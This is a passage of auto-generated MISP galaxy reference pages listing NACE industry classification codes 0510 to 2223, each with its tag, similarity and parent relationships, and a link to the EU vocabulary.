- similar: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12239. Table References

Links
http://data.europa.eu/ux2/nace2/0510

0520

The tag is: *misp-galaxy:NACE="0520"*

View relationships graph

0520 has relationships with:

- similar: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12240. Table References

Links
http://data.europa.eu/ux2/nace2/0520

0610

The tag is: *misp-galaxy:NACE="0610"*

View relationships graph

0610 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12241. Table References

Links
http://data.europa.eu/ux2/nace2/0610

0620

The tag is: *misp-galaxy:NACE="0620"*

View relationships graph

0620 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12242. Table References

Links
http://data.europa.eu/ux2/nace2/0620

0710

The tag is: *misp-galaxy:NACE="0710"*

View relationships graph

0710 has relationships with:

- similar: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12243. Table References

Links
http://data.europa.eu/ux2/nace2/0710

0721

The tag is: *misp-galaxy:NACE="0721"*

View relationships graph

0721 has relationships with:

- similar: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12244. Table References

Links
http://data.europa.eu/ux2/nace2/0721

0729

The tag is: *misp-galaxy:NACE="0729"*

View relationships graph

0729 has relationships with:

- similar: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12245. Table References

Links
http://data.europa.eu/ux2/nace2/0729

0811

The tag is: *misp-galaxy:NACE="0811"*

View relationships graph

0811 has relationships with:

- similar: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12246. Table References

Links
http://data.europa.eu/ux2/nace2/0811

0812

The tag is: *misp-galaxy:NACE="0812"*

View relationships graph

0812 has relationships with:

- similar: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12247. Table References

Links
http://data.europa.eu/ux2/nace2/0812

0891

The tag is: *misp-galaxy:NACE="0891"*

View relationships graph

0891 has relationships with:

- similar: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12248. Table References

Links
http://data.europa.eu/ux2/nace2/0891

0892

The tag is: *misp-galaxy:NACE="0892"*

View relationships graph

0892 has relationships with:

- similar: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12249. Table References

Links
http://data.europa.eu/ux2/nace2/0892

0893

The tag is: *misp-galaxy:NACE="0893"*

View relationships graph

0893 has relationships with:

- similar: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12250. Table References

Links
http://data.europa.eu/ux2/nace2/0893

0899

The tag is: *misp-galaxy:NACE="0899"*

View relationships graph

0899 has relationships with:

- similar: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12251. Table References

Links
http://data.europa.eu/ux2/nace2/0899

0910

The tag is: *misp-galaxy:NACE="0910"*

View relationships graph

0910 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12252. Table References

Links
http://data.europa.eu/ux2/nace2/0910

0990

The tag is: *misp-galaxy:NACE="0990"*

View relationships graph

0990 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12253. Table References

Links
http://data.europa.eu/ux2/nace2/0990

1011

The tag is: *misp-galaxy:NACE="1011"*

View relationships graph

1011 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12254. Table References

Links
http://data.europa.eu/ux2/nace2/1011

1012

The tag is: *misp-galaxy:NACE="1012"*

View relationships graph

1012 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12255. Table References

Links
http://data.europa.eu/ux2/nace2/1012

1013

The tag is: *misp-galaxy:NACE="1013"*

View relationships graph

1013 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12256. Table References

Links
http://data.europa.eu/ux2/nace2/1013

1020

The tag is: *misp-galaxy:NACE="1020"*

View relationships graph

1020 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12257. Table References

Links
http://data.europa.eu/ux2/nace2/1020

1031

The tag is: *misp-galaxy:NACE="1031"*

View relationships graph

1031 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12258. Table References

Links
http://data.europa.eu/ux2/nace2/1031

1032

The tag is: *misp-galaxy:NACE="1032"*

View relationships graph

1032 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12259. Table References

Links
http://data.europa.eu/ux2/nace2/1032

1039

The tag is: *misp-galaxy:NACE="1039"*

View relationships graph

1039 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12260. Table References

Links
http://data.europa.eu/ux2/nace2/1039

1041

The tag is: *misp-galaxy:NACE="1041"*

View relationships graph

1041 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12261. Table References

Links
http://data.europa.eu/ux2/nace2/1041

1042

The tag is: *misp-galaxy:NACE="1042"*

View relationships graph

1042 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12262. Table References

Links
http://data.europa.eu/ux2/nace2/1042

1051

The tag is: *misp-galaxy:NACE="1051"*

View relationships graph

1051 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12263. Table References

Links
http://data.europa.eu/ux2/nace2/1051

1052

The tag is: *misp-galaxy:NACE="1052"*

View relationships graph

1052 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12264. Table References

Links
http://data.europa.eu/ux2/nace2/1052

1061

The tag is: *misp-galaxy:NACE="1061"*

View relationships graph

1061 has relationships with:

- similar: misp-galaxy:NACE="1086" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12265. Table References

Links
http://data.europa.eu/ux2/nace2/1061

1062

The tag is: *misp-galaxy:NACE="1062"*

View relationships graph

1062 has relationships with:

- similar: misp-galaxy:NACE="1086" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12266. Table References

Links

http://data.europa.eu/ux2/nace2/1062

1071

The tag is: *misp-galaxy:NACE="1071"*

View relationships graph

1071 has relationships with:

- similar: misp-galaxy:NACE="1086" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12267. Table References

Links
http://data.europa.eu/ux2/nace2/1071

1072

The tag is: *misp-galaxy:NACE="1072"*

View relationships graph

1072 has relationships with:

- similar: misp-galaxy:NACE="1086" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12268. Table References

Links
http://data.europa.eu/ux2/nace2/1072

1073

The tag is: *misp-galaxy:NACE="1073"*

View relationships graph

1073 has relationships with:

- similar: misp-galaxy:NACE="1086" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12269. Table References

Links

http://data.europa.eu/ux2/nace2/1073

1081

The tag is: *misp-galaxy:NACE="1081"*

View relationships graph

1081 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12270. Table References

Links
http://data.europa.eu/ux2/nace2/1081

1082

The tag is: *misp-galaxy:NACE="1082"*

View relationships graph

1082 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12271. Table References

Links
http://data.europa.eu/ux2/nace2/1082

1083

The tag is: *misp-galaxy:NACE="1083"*

View relationships graph

1083 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12272. Table References

Links
http://data.europa.eu/ux2/nace2/1083

1084

The tag is: *misp-galaxy:NACE="1084"*

View relationships graph

1084 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12273. Table References

Links
http://data.europa.eu/ux2/nace2/1084

1085

The tag is: *misp-galaxy:NACE="1085"*

View relationships graph

1085 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12274. Table References

Links
http://data.europa.eu/ux2/nace2/1085

1086

The tag is: *misp-galaxy:NACE="1086"*

View relationships graph

1086 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12275. Table References

Links
http://data.europa.eu/ux2/nace2/1086

1089

The tag is: *misp-galaxy:NACE="1089"*

View relationships graph

1089 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12276. Table References

Links
http://data.europa.eu/ux2/nace2/1089

1091

The tag is: *misp-galaxy:NACE="1091"*

View relationships graph

1091 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12277. Table References

Links
http://data.europa.eu/ux2/nace2/1091

1092

The tag is: *misp-galaxy:NACE="1092"*

View relationships graph

1092 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12278. Table References

Links
http://data.europa.eu/ux2/nace2/1092

1101

The tag is: *misp-galaxy:NACE="1101"*

View relationships graph

1101 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12279. Table References

Links
http://data.europa.eu/ux2/nace2/1101

1102

The tag is: *misp-galaxy:NACE="1102"*

View relationships graph

1102 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12280. Table References

Links
http://data.europa.eu/ux2/nace2/1102

1103

The tag is: *misp-galaxy:NACE="1103"*

View relationships graph

1103 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12281. Table References

Links
http://data.europa.eu/ux2/nace2/1103

1104

The tag is: *misp-galaxy:NACE="1104"*

View relationships graph

1104 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12282. Table References

Links
http://data.europa.eu/ux2/nace2/1104

1105

The tag is: *misp-galaxy:NACE="1105"*

View relationships graph

1105 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12283. Table References

Links
http://data.europa.eu/ux2/nace2/1105

1106

The tag is: *misp-galaxy:NACE="1106"*

View relationships graph

1106 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12284. Table References

Links
http://data.europa.eu/ux2/nace2/1106

1107

The tag is: *misp-galaxy:NACE="1107"*

View relationships graph

1107 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12285. Table References

Links
http://data.europa.eu/ux2/nace2/1107

1200

The tag is: *misp-galaxy:NACE="1200"*

View relationships graph

1200 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12286. Table References

Links
http://data.europa.eu/ux2/nace2/1200

1310

The tag is: *misp-galaxy:NACE="1310"*

View relationships graph

1310 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12287. Table References

Links
http://data.europa.eu/ux2/nace2/1310

1320

The tag is: *misp-galaxy:NACE="1320"*

View relationships graph

1320 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12288. Table References

Links
http://data.europa.eu/ux2/nace2/1320

1330

The tag is: *misp-galaxy:NACE="1330"*

View relationships graph

1330 has relationships with:

- similar: misp-galaxy:NACE="1812" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12289. Table References

Links
http://data.europa.eu/ux2/nace2/1330

1391

The tag is: *misp-galaxy:NACE="1391"*

View relationships graph

1391 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12290. Table References

Links
http://data.europa.eu/ux2/nace2/1391

1392

The tag is: *misp-galaxy:NACE="1392"*

View relationships graph

1392 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12291. Table References

Links
http://data.europa.eu/ux2/nace2/1392

1393

The tag is: *misp-galaxy:NACE="1393"*

View relationships graph

1393 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12292. Table References

Links
http://data.europa.eu/ux2/nace2/1393

1394

The tag is: *misp-galaxy:NACE="1394"*

View relationships graph

1394 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12293. Table References

Links
http://data.europa.eu/ux2/nace2/1394

1395

The tag is: *misp-galaxy:NACE="1395"*

View relationships graph

1395 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12294. Table References

Links
http://data.europa.eu/ux2/nace2/1395

1396

The tag is: *misp-galaxy:NACE="1396"*

View relationships graph

1396 has relationships with:

- similar: misp-galaxy:NACE="1320" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12295. Table References

Links
http://data.europa.eu/ux2/nace2/1396

1399

The tag is: *misp-galaxy:NACE="1399"*

View relationships graph

1399 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12296. Table References

Links
http://data.europa.eu/ux2/nace2/1399

1410

The tag is: *misp-galaxy:NACE="1410"*

View relationships graph

1410 has relationships with:

- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12297. Table References

Links
http://data.europa.eu/ux2/nace2/1410

1421

The tag is: *misp-galaxy:NACE="1421"*

View relationships graph

1421 has relationships with:

- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12298. Table References

Links
http://data.europa.eu/ux2/nace2/1421

1422

The tag is: *misp-galaxy:NACE="1422"*

View relationships graph

1422 has relationships with:

- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12299. Table References

Links
http://data.europa.eu/ux2/nace2/1422

1423

The tag is: *misp-galaxy:NACE="1423"*

View relationships graph

1423 has relationships with:

- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12300. Table References

Links
http://data.europa.eu/ux2/nace2/1423

1424

The tag is: *misp-galaxy:NACE="1424"*

View relationships graph

1424 has relationships with:

- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12301. Table References

Links
http://data.europa.eu/ux2/nace2/1424

1429

The tag is: *misp-galaxy:NACE="1429"*

View relationships graph

1429 has relationships with:

- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12302. Table References

Links
http://data.europa.eu/ux2/nace2/1429

1511

The tag is: *misp-galaxy:NACE="1511"*

View relationships graph

1511 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12303. Table References

Links
http://data.europa.eu/ux2/nace2/1511

1512

The tag is: *misp-galaxy:NACE="1512"*

View relationships graph

1512 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12304. Table References

Links
http://data.europa.eu/ux2/nace2/1512

1520

The tag is: *misp-galaxy:NACE="1520"*

View relationships graph

1520 has relationships with:

- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12305. Table References

Links
http://data.europa.eu/ux2/nace2/1520

1611

The tag is: *misp-galaxy:NACE="1611"*

View relationships graph

1611 has relationships with:

- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12306. Table References

Links
http://data.europa.eu/ux2/nace2/1611

1612

The tag is: *misp-galaxy:NACE="1612"*

View relationships graph

1612 has relationships with:

- similar: misp-galaxy:NACE="1392" with estimative-language:likelihood-probability="likely"

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12307. Table References

Links
http://data.europa.eu/ux2/nace2/1612

1621

The tag is: *misp-galaxy:NACE="1621"*

View relationships graph

1621 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12308. Table References

Links
http://data.europa.eu/ux2/nace2/1621

1622

The tag is: *misp-galaxy:NACE="1622"*

View relationships graph

1622 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12309. Table References

Links
http://data.europa.eu/ux2/nace2/1622

1623

The tag is: *misp-galaxy:NACE="1623"*

View relationships graph

1623 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12310. Table References

Links

http://data.europa.eu/ux2/nace2/1623

1624

The tag is: *misp-galaxy:NACE="1624"*

View relationships graph

1624 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12311. Table References

Links
http://data.europa.eu/ux2/nace2/1624

1625

The tag is: *misp-galaxy:NACE="1625"*

View relationships graph

1625 has relationships with:

- similar: misp-galaxy:NACE="1623" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12312. Table References

Links
http://data.europa.eu/ux2/nace2/1625

1626

The tag is: *misp-galaxy:NACE="1626"*

View relationships graph

1626 has relationships with:

- similar: misp-galaxy:NACE="1623" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12313. Table References

Links
http://data.europa.eu/ux2/nace2/1626

1627

The tag is: *misp-galaxy:NACE="1627"*

View relationships graph

1627 has relationships with:

- similar: misp-galaxy:NACE="1621" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1622" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1623" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1624" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="1624" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12314. Table References

Links
http://data.europa.eu/ux2/nace2/1627

1628

The tag is: *misp-galaxy:NACE="1628"*

View relationships graph

1628 has relationships with:

- similar: misp-galaxy:NACE="1624" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12315. Table References

Links
http://data.europa.eu/ux2/nace2/1628

1711

The tag is: *misp-galaxy:NACE="1711"*

View relationships graph

1711 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12316. Table References

Links
http://data.europa.eu/ux2/nace2/1711

1712

The tag is: *misp-galaxy:NACE="1712"*

View relationships graph

1712 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12317. Table References

Links
http://data.europa.eu/ux2/nace2/1712

1721

The tag is: *misp-galaxy:NACE="1721"*

View relationships graph

1721 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12318. Table References

Links
http://data.europa.eu/ux2/nace2/1721

1722

The tag is: *misp-galaxy:NACE="1722"*

View relationships graph

1722 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12319. Table References

Links
http://data.europa.eu/ux2/nace2/1722

1723

The tag is: *misp-galaxy:NACE="1723"*

View relationships graph

1723 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12320. Table References

Links
http://data.europa.eu/ux2/nace2/1723

1724

The tag is: *misp-galaxy:NACE="1724"*

View relationships graph

1724 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12321. Table References

Links
http://data.europa.eu/ux2/nace2/1724

1725

The tag is: *misp-galaxy:NACE="1725"*

View relationships graph

1725 has relationships with:

- similar: misp-galaxy:NACE="1624" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12322. Table References

Links
http://data.europa.eu/ux2/nace2/1725

1811

The tag is: *misp-galaxy:NACE="1811"*

View relationships graph

1811 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12323. Table References

Links
http://data.europa.eu/ux2/nace2/1811

1812

The tag is: *misp-galaxy:NACE="1812"*

View relationships graph

1812 has relationships with:

- similar: misp-galaxy:NACE="7420" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="7420" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12324. Table References

Links
http://data.europa.eu/ux2/nace2/1812

1813

The tag is: *misp-galaxy:NACE="1813"*

View relationships graph

1813 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12325. Table References

Links
http://data.europa.eu/ux2/nace2/1813

1814

The tag is: *misp-galaxy:NACE="1814"*

View relationships graph

1814 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12326. Table References

Links
http://data.europa.eu/ux2/nace2/1814

1820

The tag is: *misp-galaxy:NACE="1820"*

View relationships graph

1820 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12327. Table References

Links
http://data.europa.eu/ux2/nace2/1820

1910

The tag is: *misp-galaxy:NACE="1910"*

View relationships graph

1910 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12328. Table References

Links
http://data.europa.eu/ux2/nace2/1910

1920

The tag is: *misp-galaxy:NACE="1920"*

View relationships graph

1920 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12329. Table References

Links
http://data.europa.eu/ux2/nace2/1920

2011

The tag is: *misp-galaxy:NACE="2011"*

View relationships graph

2011 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12330. Table References

Links
http://data.europa.eu/ux2/nace2/2011

2012

The tag is: *misp-galaxy:NACE="2012"*

View relationships graph

2012 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12331. Table References

Links
http://data.europa.eu/ux2/nace2/2012

2013

The tag is: *misp-galaxy:NACE="2013"*

View relationships graph

2013 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12332. Table References

Links
http://data.europa.eu/ux2/nace2/2013

2014

The tag is: *misp-galaxy:NACE="2014"*

View relationships graph

2014 has relationships with:

- similar: misp-galaxy:NACE="2011" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12333. Table References

Links
http://data.europa.eu/ux2/nace2/2014

2015

The tag is: *misp-galaxy:NACE="2015"*

View relationships graph

2015 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12334. Table References

Links
http://data.europa.eu/ux2/nace2/2015

2016

The tag is: *misp-galaxy:NACE="2016"*

View relationships graph

2016 has relationships with:

- similar: misp-galaxy:NACE="3832" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12335. Table References

Links
http://data.europa.eu/ux2/nace2/2016

2017

The tag is: *misp-galaxy:NACE="2017"*

View relationships graph

2017 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12336. Table References

Links
http://data.europa.eu/ux2/nace2/2017

2020

The tag is: *misp-galaxy:NACE="2020"*

View relationships graph

2020 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12337. Table References

Links
http://data.europa.eu/ux2/nace2/2020

2030

The tag is: *misp-galaxy:NACE="2030"*

View relationships graph

2030 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12338. Table References

Links
http://data.europa.eu/ux2/nace2/2030

2041

The tag is: *misp-galaxy:NACE="2041"*

View relationships graph

2041 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12339. Table References

Links
http://data.europa.eu/ux2/nace2/2041

2042

The tag is: *misp-galaxy:NACE="2042"*

View relationships graph

2042 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12340. Table References

Links
http://data.europa.eu/ux2/nace2/2042

2051

The tag is: *misp-galaxy:NACE="2051"*

View relationships graph

2051 has relationships with:

- similar: misp-galaxy:NACE="2014" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2059" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12341. Table References

Links
http://data.europa.eu/ux2/nace2/2051

2059

The tag is: *misp-galaxy:NACE="2059"*

View relationships graph

2059 has relationships with:

- similar: misp-galaxy:NACE="2051" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2051" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="2051" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12342. Table References

Links
http://data.europa.eu/ux2/nace2/2059

2060

The tag is: *misp-galaxy:NACE="2060"*

View relationships graph

2060 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12343. Table References

Links
http://data.europa.eu/ux2/nace2/2060

2110

The tag is: *misp-galaxy:NACE="2110"*

View relationships graph

2110 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12344. Table References

Links
http://data.europa.eu/ux2/nace2/2110

2120

The tag is: *misp-galaxy:NACE="2120"*

View relationships graph

2120 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12345. Table References

Links
http://data.europa.eu/ux2/nace2/2120

2211

The tag is: *misp-galaxy:NACE="2211"*

View relationships graph

2211 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12346. Table References

Links
http://data.europa.eu/ux2/nace2/2211

2212

The tag is: *misp-galaxy:NACE="2212"*

View relationships graph

2212 has relationships with:

- similar: misp-galaxy:NACE="2051" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12347. Table References

Links
http://data.europa.eu/ux2/nace2/2212

2221

The tag is: *misp-galaxy:NACE="2221"*

View relationships graph

2221 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12348. Table References

Links

http://data.europa.eu/ux2/nace2/2221

2222

The tag is: *misp-galaxy:NACE="2222"*

View relationships graph

2222 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12349. Table References

Links
http://data.europa.eu/ux2/nace2/2222

2223

The tag is: *misp-galaxy:NACE="2223"*

View relationships graph

2223 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12350. Table References

Links
